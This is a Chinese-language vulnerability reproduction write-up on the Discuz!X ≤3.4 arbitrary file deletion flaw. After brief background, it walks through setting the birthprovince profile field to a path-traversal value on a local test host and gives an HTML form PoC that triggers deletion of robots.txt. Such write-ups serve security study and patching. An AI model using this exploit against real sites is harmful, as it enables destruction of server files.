Discuz!X ≤3.4 任意文件删除漏洞

Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日,Discuz!修复了一个安全问题2用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞3,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。

经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。

漏洞复现

首先访问我们的robots.txt:(验证是否存在)

图片

接着是注册了一个liuwx,然后来到个人设置页面找到自己的formhash:133dd9cc

图片

请求这个页面保存然后抓包:

http://192.168.1.104/home.php?mod=spacecp&ac=profile&op=base

来到这个参数:birthprovince,这个参数填写的是你要删除的文件,以robots.txt为例:

图片

接着Forward

图片

提交成功后,从上图可以看到出生地会显示../../../robots.txt,也就是说明它待会要凉了咯~

漏洞POC

1
2
3
4
5
6
<body>
<form action="http://[这里填写网站域名]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[这里填写刚刚得到的hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>

把以上POC保存为*.html格式,然后打开上传任意一张图片:

图片

这个时候用浏览器访问:

http://192.168.1.104/robots.txt

图片

可以看到,文件已经没咯~